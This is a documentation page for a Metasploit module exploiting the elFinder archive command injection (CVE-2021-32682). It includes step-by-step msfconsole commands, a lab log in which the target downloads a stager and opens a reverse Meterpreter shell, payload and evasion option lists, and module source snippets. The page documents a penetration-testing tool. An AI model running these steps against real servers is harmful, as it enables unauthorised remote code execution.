elFinder Archive Command Injection - Metasploit


This page contains detailed information about how to use the exploit/linux/http/elfinder_archive_cmd_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: elFinder Archive Command Injection
Module: exploit/linux/http/elfinder_archive_cmd_injection
Source code: modules/exploits/linux/http/elfinder_archive_cmd_injection.rb
Disclosure date: 2021-06-13
Last modification time: 2021-09-14 11:36:28 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-32682

elFinder versions below 2.1.59 are vulnerable to a command injection vulnerability via its archive functionality. When creating a new zip archive, the name parameter is sanitized with the escapeshellarg() php function and then passed to the zip utility. Despite the sanitization, supplying the -TmTT argument as part of the name parameter is still permitted and enables the execution of arbitrary commands as the www-data user.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/linux/http/elfinder_archive_cmd_injection
msf exploit(elfinder_archive_cmd_injection) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


elFinder versions below 2.1.59 are vulnerable to a command injection vulnerability via its archive functionality.

When creating a new zip archive, the name parameter is sanitized with the escapeshellarg() php function and then passed to the zip utility. Despite the sanitization, supplying the -TmTT argument as part of the name parameter is still permitted and enables the execution of arbitrary commands as the www-data user.

Tested on elFinder versions 2.1.57, 2.1.58, and 2.1.59.

Installation Steps

  1. Set up a php server
  2. Download a vulnerable version of the elFinder software
  3. Rename the minimal connector file: mv /php/connector.minimal.php-dist /php/connector.minimal.php
  4. Access the software at http://<host>/elfinder.html

Additional installation methods can be found here.

Verification Steps


  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/linux/http/elfinder_archive_cmd_injection
  4. Do: set RHOST <ip>
  5. Do: set LHOST <ip>
  6. Do: run
  7. You should get a meterpreter session.

Scenarios


elFinder v2.1.58 on Ubuntu 20.04.1

msf6 > use exploit/linux/http/elfinder_archive_cmd_injection
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/elfinder_archive_cmd_injection) > set rhost 192.168.140.128
rhost => 192.168.140.128
msf6 exploit(linux/http/elfinder_archive_cmd_injection) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf6 exploit(linux/http/elfinder_archive_cmd_injection) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. elFinder running version 2.1.58
[*] Uploading file LojGHIOkAW.txt to elFinder
[+] Text file was successfully uploaded!
[*] Attempting to create archive fMuuXCkA.zip
[+] Archive was successfully created!
[*] Using URL: http://0.0.0.0:8080/OR3Kz5kxLZp
[*] Local IP: http://192.168.1.199:8080/OR3Kz5kxLZp
[*] Client 192.168.140.128 (Wget/1.20.3 (linux-gnu)) requested /OR3Kz5kxLZp
[*] Sending payload to 192.168.140.128 (Wget/1.20.3 (linux-gnu))
[*] Command Stager progress -  62.50% done (75/120 bytes)
[*] Command Stager progress -  89.17% done (107/120 bytes)
[*] Sending stage (984904 bytes) to 192.168.140.128
[+] Deleted LojGHIOkAW.txt
[+] Deleted fMuuXCkA.zip
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.128:39822) at 2021-09-09 16:10:06 -0500
[*] Command Stager progress - 100.00% done (120/120 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: www-data @ ubuntu (uid=33, gid=33, euid=33, egid=33)
meterpreter > sysinfo
Computer     : 192.168.140.128
OS           : Ubuntu 20.04 (Linux 5.11.0-27-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

Go back to menu.

Msfconsole Usage


Here is how the linux/http/elfinder_archive_cmd_injection exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/elfinder_archive_cmd_injection

[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/elfinder_archive_cmd_injection) > show info

       Name: elFinder Archive Command Injection
     Module: exploit/linux/http/elfinder_archive_cmd_injection
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-06-13

Provided by:
  Thomas Chauchefoin
  Shelby Pace

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      80               yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to
                                         listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /                yes       The URI of elFinder
  URIPATH                     no        The URI to use for this exploit (default is random)
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  elFinder versions below 2.1.59 are vulnerable to a command injection 
  vulnerability via its archive functionality. When creating a new zip 
  archive, the `name` parameter is sanitized with the 
  `escapeshellarg()` php function and then passed to the `zip` 
  utility. Despite the sanitization, supplying the `-TmTT` argument as 
  part of the `name` parameter is still permitted and enables the 
  execution of arbitrary commands as the `www-data` user.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-32682
  https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities

Module Options


This is a complete list of options available in the linux/http/elfinder_archive_cmd_injection exploit:

msf6 exploit(linux/http/elfinder_archive_cmd_injection) > show options

Module options (exploit/linux/http/elfinder_archive_cmd_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 t
                                         o listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The URI of elFinder
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Advanced Options


Here is a complete list of advanced options supported by the linux/http/elfinder_archive_cmd_injection exploit:

msf6 exploit(linux/http/elfinder_archive_cmd_injection) > show advanced

Module advanced options (exploit/linux/http/elfinder_archive_cmd_injection):

   Name                    Current Setting                          Required  Description
   ----                    ---------------                          --------  -----------
   AutoCheck               true                                     no        Run check before exploit
   CMDSTAGER::DECODER                                               no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                                     no        The CMD Stager to use. (Accepted: auto, wget)
   CMDSTAGER::SSL          false                                    no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                  no        Writable directory for staged files
   ContextInformationFile                                           no        The information file that contains context information
   DOMAIN                  WORKSTATION                              yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                     no        Conform to IIS, should work for most servers. Only set to false for no
                                                                              n-IIS servers
   DisablePayloadHandler   false                                    no        Disable the handler code for the selected payload
   EXE::Custom                                                      no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                    no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                    no        Use the default template in case the specified one is missing
   EXE::Inject             false                                    no        Set to preserve the original EXE function
   EXE::OldMethod          false                                    no        Set to use the substitution EXE generation method.
   EXE::Path                                                        no        The directory in which to look for the executable template
   EXE::Template                                                    no        The executable template file name.
   EnableContextEncoding   false                                    no        Use transient context when encoding payloads
   FileDropperDelay                                                 no        Delay in seconds before attempting cleanup
   FingerprintCheck        true                                     no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                    no        Override check result
   HttpClientTimeout                                                no        HTTP connection and receive timeout
   HttpPassword                                                     no        The HTTP password to specify for authentication
   HttpRawHeaders                                                   no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                    no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                  no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                    no        Show HTTP headers only in HttpTrace
   HttpUsername                                                     no        The HTTP username to specify for authentication
   ListenerComm                                                     no        The specific communication channel to use for this service
   MSI::Custom                                                      no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                    no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                        no        The directory in which to look for the msi template
   MSI::Template                                                    no        The msi template file name
   MSI::UAC                false                                    no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                        no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                    no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                     yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are aut
                                                                              o-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                    no        Return a robots.txt file if asked for one
   URIHOST                                                          no        Host to use in URI (useful for tunnels)
   URIPORT                                                          no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Wind  no        The User-Agent header to use for all requests
                           ows NT 5.1)
   VERBOSE                 false                                    no        Enable detailed status messages
   WORKSPACE                                                        no        Specify the workspace for this module
   WfsDelay                2                                        no        Additional delay in seconds to wait for a session

Payload advanced options (linux/x86/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   MeterpreterTryToFork         false            no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but
                                                            directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/elfinder_archive_cmd_injection module can exploit:

msf6 exploit(linux/http/elfinder_archive_cmd_injection) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Target

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/elfinder_archive_cmd_injection exploit:

msf6 exploit(linux/http/elfinder_archive_cmd_injection) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/x64/exec                                             normal  No     Linux Execute Command
   6   payload/linux/x64/meterpreter/bind_tcp                             normal  No     Linux Mettle x64, Bind TCP Stager
   7   payload/linux/x64/meterpreter/reverse_tcp                          normal  No     Linux Mettle x64, Reverse TCP Stager
   8   payload/linux/x64/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   9   payload/linux/x64/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   10  payload/linux/x64/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   11  payload/linux/x64/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager
   12  payload/linux/x64/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   13  payload/linux/x64/shell_bind_ipv6_tcp                              normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   14  payload/linux/x64/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   15  payload/linux/x64/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   16  payload/linux/x64/shell_reverse_ipv6_tcp                           normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   17  payload/linux/x64/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   18  payload/linux/x86/chmod                                            normal  No     Linux Chmod
   19  payload/linux/x86/exec                                             normal  No     Linux Execute Command
   20  payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   21  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   22  payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   23  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   24  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   25  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   26  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   27  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   28  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   29  payload/linux/x86/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   30  payload/linux/x86/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   31  payload/linux/x86/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   32  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   33  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   34  payload/linux/x86/read_file                                        normal  No     Linux Read File
   35  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   36  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   37  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   38  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   39  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   40  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   41  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   42  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   43  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   44  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   45  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   46  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   47  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   48  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/elfinder_archive_cmd_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/elfinder_archive_cmd_injection) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate
                                                            )
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache
                                                            )
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-n
                                                            ormal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to retrieve a response


Here is a relevant code snippet related to the "Failed to retrieve a response" error message:

66:	    res = send_request_cgi(
67:	      'method' => 'GET',
68:	      'uri' => upload_uri
69:	    )
70:	
71:	    return CheckCode::Unknown('Failed to retrieve a response') unless res
72:	    return CheckCode::Safe('Failed to detect elFinder') unless res.body.include?('["errUnknownCmd"]')
73:	
74:	    vprint_status('Attempting to check the changelog for elFinder version')
75:	    res = send_request_cgi(
76:	      'method' => 'GET',

Failed to detect elFinder


Here is a relevant code snippet related to the "Failed to detect elFinder" error message:

67:	      'method' => 'GET',
68:	      'uri' => upload_uri
69:	    )
70:	
71:	    return CheckCode::Unknown('Failed to retrieve a response') unless res
72:	    return CheckCode::Safe('Failed to detect elFinder') unless res.body.include?('["errUnknownCmd"]')
73:	
74:	    vprint_status('Attempting to check the changelog for elFinder version')
75:	    res = send_request_cgi(
76:	      'method' => 'GET',
77:	      'uri' => normalize_uri(target_uri.path, 'Changelog')

elFinder is running, but cannot detect version through the changelog


Here is a relevant code snippet related to the "elFinder is running, but cannot detect version through the changelog" error message:

76:	      'method' => 'GET',
77:	      'uri' => normalize_uri(target_uri.path, 'Changelog')
78:	    )
79:	
80:	    unless res
81:	      return CheckCode::Detected('elFinder is running, but cannot detect version through the changelog')
82:	    end
83:	
84:	    # * elFinder (2.1.58)
85:	    vers_str = res.body.match(/\*\s+elFinder\s+\((\d+\.\d+\.\d+)\)/)
86:	    if vers_str.nil? || vers_str.length <= 1

elFinder is running, but couldn't retrieve the version


Here is a relevant code snippet related to the "elFinder is running, but couldn't retrieve the version" error message:

82:	    end
83:	
84:	    # * elFinder (2.1.58)
85:	    vers_str = res.body.match(/\*\s+elFinder\s+\((\d+\.\d+\.\d+)\)/)
86:	    if vers_str.nil? || vers_str.length <= 1
87:	      return CheckCode::Detected('elFinder is running, but couldn\'t retrieve the version')
88:	    end
89:	
90:	    version_found = Rex::Version.new(vers_str[1])
91:	    if version_found < Rex::Version.new('2.1.59')
92:	      return CheckCode::Appears("elFinder running version #{vers_str[1]}")

elFinder running version <VERS_STR:1>


Here is a relevant code snippet related to the "elFinder running version <VERS_STR:1>" error message:

87:	      return CheckCode::Detected('elFinder is running, but couldn\'t retrieve the version')
88:	    end
89:	
90:	    version_found = Rex::Version.new(vers_str[1])
91:	    if version_found < Rex::Version.new('2.1.59')
92:	      return CheckCode::Appears("elFinder running version #{vers_str[1]}")
93:	    end
94:	
95:	    CheckCode::Safe("Detected elFinder version #{vers_str[1]}, which is not vulnerable")
96:	  end
97:	

Detected elFinder version <VERS_STR:1>, which is not vulnerable


Here is a relevant code snippet related to the "Detected elFinder version <VERS_STR:1>, which is not vulnerable" error message:

90:	    version_found = Rex::Version.new(vers_str[1])
91:	    if version_found < Rex::Version.new('2.1.59')
92:	      return CheckCode::Appears("elFinder running version #{vers_str[1]}")
93:	    end
94:	
95:	    CheckCode::Safe("Detected elFinder version #{vers_str[1]}, which is not vulnerable")
96:	  end
97:	
98:	  def upload_uri
99:	    normalize_uri(target_uri.path, 'php', 'connector.minimal.php')
100:	  end

Did not receive a response from elFinder


Here is a relevant code snippet related to the "Did not receive a response from elFinder" error message:

99:	    normalize_uri(target_uri.path, 'php', 'connector.minimal.php')
100:	  end
101:	
102:	  def upload_successful?(response)
103:	    unless response
104:	      print_bad('Did not receive a response from elFinder')
105:	      return false
106:	    end
107:	
108:	    if response.code != 200 || response.body.include?('error')
109:	      print_bad("Request failed: #{response.body}")

error


Here is a relevant code snippet related to the "error" error message:

103:	    unless response
104:	      print_bad('Did not receive a response from elFinder')
105:	      return false
106:	    end
107:	
108:	    if response.code != 200 || response.body.include?('error')
109:	      print_bad("Request failed: #{response.body}")
110:	      return false
111:	    end
112:	
113:	    unless response.body.include?('added')

Request failed: <RESPONSE.BODY>


Here is a relevant code snippet related to the "Request failed: <RESPONSE.BODY>" error message:

104:	      print_bad('Did not receive a response from elFinder')
105:	      return false
106:	    end
107:	
108:	    if response.code != 200 || response.body.include?('error')
109:	      print_bad("Request failed: #{response.body}")
110:	      return false
111:	    end
112:	
113:	    unless response.body.include?('added')
114:	      print_bad("Failed to add new file: #{response.body}")

Failed to add new file: <RESPONSE.BODY>


Here is a relevant code snippet related to the "Failed to add new file: <RESPONSE.BODY>" error message:

109:	      print_bad("Request failed: #{response.body}")
110:	      return false
111:	    end
112:	
113:	    unless response.body.include?('added')
114:	      print_bad("Failed to add new file: #{response.body}")
115:	      return false
116:	    end
117:	    json = JSON.parse(response.body)
118:	    if json['added'].empty?
119:	      return false

Upload was not successful


Here is a relevant code snippet related to the "Upload was not successful" error message:

160:	  end
161:	
162:	  def setup_files_for_sploit
163:	    @txt_file = "#{Rex::Text.rand_text_alpha(5..10)}.txt"
164:	    res = upload_txt_file(@txt_file)
165:	    fail_with(Failure::UnexpectedReply, 'Upload was not successful') unless upload_successful?(res)
166:	    print_good('Text file was successfully uploaded!')
167:	
168:	    @archive_name = "#{Rex::Text.rand_text_alpha(5..10)}.zip"
169:	    print_status("Attempting to create archive #{@archive_name}")
170:	    res = create_archive(@archive_name, @txt_file)

Archive was not created


Here is a relevant code snippet related to the "Archive was not created" error message:

166:	    print_good('Text file was successfully uploaded!')
167:	
168:	    @archive_name = "#{Rex::Text.rand_text_alpha(5..10)}.zip"
169:	    print_status("Attempting to create archive #{@archive_name}")
170:	    res = create_archive(@archive_name, @txt_file)
171:	    fail_with(Failure::UnexpectedReply, 'Archive was not created') unless archive_successful?(res)
172:	    print_good('Archive was successfully created!')
173:	
174:	    register_files_for_cleanup(@txt_file, @archive_name)
175:	  end
176:	

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References


See Also


Check also the following modules related to this module:

Authors


  • Thomas Chauchefoin
  • Shelby Pace

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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